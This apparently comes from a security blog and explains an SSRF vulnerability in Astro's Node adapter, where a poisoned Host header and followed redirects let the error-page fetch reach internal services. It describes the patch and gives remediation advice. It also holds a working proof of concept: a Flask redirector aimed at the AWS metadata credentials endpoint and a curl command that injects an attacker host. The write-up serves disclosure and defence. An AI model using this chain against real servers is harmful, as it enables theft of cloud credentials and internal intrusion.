Feb 24, 2026·7 min read·18 visits
Astro < 9.5.4 allows attackers to poison the `Host` header. When the server renders a custom error page (like 404.astro), it fetches the page using that poisoned host. Because the fetch follows redirects, attackers can bounce the request to internal IPs (SSRF), leaking sensitive data.
Astro, the darling framework of the static site generation world, stumbled into a classic web security pitfall: trusting the client. In versions prior to 9.5.4, Astro's Server-Side Rendering (SSR) engine blindly trusted the HTTP `Host` header when fetching custom error pages. By poisoning this header, an attacker can trick the server into fetching resources from an external domain. The kicker? The internal fetch mechanism follows redirects by default. This turns a simple error page rendering process into a proxy for accessing internal network resources, local services, or cloud metadata endpoints.
Modern web frameworks are marvels of engineering, abstracting away the grit of HTTP so developers can focus on building beautiful UIs. But abstraction often hides danger. Astro, known for its "zero-JavaScript-by-default" philosophy, has a robust Server-Side Rendering (SSR) mode. When things go wrong in SSR land—like a 404 Not Found or a 500 Internal Server Error—Astro tries to be helpful. It looks for a custom error page (e.g., 404.astro) to render a pretty apology to the user.
Here is where the logic gets fuzzy. To render that error page, Astro treats it almost like an external resource request. It needs a URL to fetch that page from. And where does it get the base URL for that request? From the Host header of the incoming request. If you’ve been in the security game for more than a week, your ears should be burning right now. The Host header is user-controlled input. Trusting it is like letting a stranger write their own name on the guest list at a high-security facility.
By manipulating this header, an attacker can dictate where Astro looks for its error page. Instead of looking at localhost:3000/404, it looks at attacker.com/404. If that were the end of it, we’d just have a defacement bug. But because the underlying fetch mechanism is too polite—it follows HTTP redirects—we have a recipe for disaster.
The vulnerability lives in packages/astro/src/core/app/base.ts. When an error occurs during SSR, the renderError() function is triggered. This function's job is to fetch the pre-rendered HTML for the error code (e.g., 500). To construct the URL for this fetch, Astro concatenates the protocol with the value of this.baseWithoutTrailingSlash. And this.baseWithoutTrailingSlash is derived directly from the request headers.
Technically, this is a blind trust in the Host header (CWE-601/CWE-113 equivalent context), culminating in SSRF (CWE-918). The code didn't validate if the Host header actually matched the server's configuration or the intended domain. It just assumed that if a request came in, the Host header must be truthful.
The critical failure, however, isn't just the header injection. It's the behavior of the HTTP client used to fetch the error page. By default, Node.js fetch implementations (and the polyfills used by Astro) follow HTTP 3xx redirects automatically. This creates a "bounce" effect. The attacker tells Astro: "Hey, get the error page from evil.com." Astro connects to evil.com. evil.com replies with "301 Moved Permanently: Go to http://169.254.169.254/latest/meta-data/." Astro, being a dutiful program, follows the redirect to the AWS metadata service, grabs the credentials, and serves them up as the "Error Page" content.
Let's look at the logic flow. In the vulnerable versions, the internal fetch call looked something like this (simplified for clarity):
// Vulnerable Logic in base.ts
async renderError(request, error) {
// 1. Get the origin from the (attacker-controlled) Host header
const origin = request.headers.get('host');
// 2. Construct the URL for the error page
const errorPageUrl = `http://${origin}/500`;
// 3. Fetch it (Defaults: follow redirects = true)
const response = await fetch(errorPageUrl);
// 4. Return the body to the user
return response.text();
}The fix in version 9.5.4 is elegant in its simplicity. It doesn't just try to sanitize the Host header (which is hard to do perfectly); it neuters the fetch mechanism itself. By setting the redirect mode to manual, the developers ensure that even if an attacker injects a malicious host, the server will refuse to follow the redirect to an internal resource.
// Patched Logic
async renderError(request, error) {
// ... URL construction ...
const response = await fetch(errorPageUrl, {
// THE FIX: Stop following redirects automatically
redirect: 'manual',
});
// Additional checks often added:
// Validate protocol is http/https
// Check allowlist of domains
}This change effectively breaks the chain. The attacker can still point the Host header to evil.com, but when evil.com tries to redirect to localhost:6379 (Redis) or AWS metadata, Astro simply stops and says, "I'm done here."
To exploit this, we need an Astro app running in SSR mode with a custom error page (e.g., src/pages/500.astro). If the target uses the default error page, this vector might not trigger the specific fetch logic we need. Here is the attack chain:
Step 1: The Setup We need a malicious server acting as a redirector. A simple Python Flask app works wonders here:
# attacker.py
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/500')
def malicious_redirect():
# Redirect the victim server to its own internal metadata service
return redirect('http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role')
if __name__ == '__main__':
app.run(port=1337)Step 2: The Trigger We send a request to the target Astro app that guarantees an error (triggering the 500 page logic) and inject our malicious host.
curl -v "http://target-astro-app.com/force-error" \
-H "Host: attacker-server.com:1337"Step 3: The Execution
500.astro.Host: attacker-server.com:1337.http://attacker-server.com:1337/500.302 Found -> http://169.254.169.254/....Congratulations, you just turned a website crash into a cloud compromise.
This isn't just about reading files. In modern cloud-native environments, an SSRF is often a "Game Over" vulnerability. The impact depends entirely on where the Astro server is sitting in your network topology.
Scenario A: Cloud Metadata If the server is on AWS, GCP, or Azure, and hasn't explicitly blocked access to the instance metadata service, an attacker can steal temporary credentials. This allows them to effectively become the server, accessing S3 buckets, databases, and other cloud resources.
Scenario B: Internal Services Is your Astro app running inside a Kubernetes cluster? Great. An attacker can use this SSRF to probe internal services that assume they are safe behind the firewall. They could hit the Kubelet API, internal admin panels, or unauthenticated Redis instances. If the response is text-based, they can read the data.
Scenario C: Localhost
Even on a standalone box, attackers can probe localhost ports to identify running services, potentially chaining this with other vulnerabilities to achieve Remote Code Execution (RCE).
The immediate remediation is to upgrade to @astrojs/node version 9.5.4 or later. The patch effectively neuters the redirect behavior that makes this exploit potent.
However, relying solely on a library patch is bad opsec. You should apply Defense in Depth principles:
Host header. If your site is example.com, the server should drop any request claiming to be for evil.com before it even reaches the Astro app.169.254.169.254 unless strictly necessary (and even then, require IMDSv2 which uses session tokens to mitigate SSRF).CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
@astrojs/node Astro | < 9.5.4 | 9.5.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-918 |
| Attack Vector | Network |
| CVSS | 6.9 (Medium) |
| Impact | High Confidentiality (Internal) |
| Exploit Status | PoC Available |
| Prerequisites | SSR Enabled, Custom Error Pages |
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.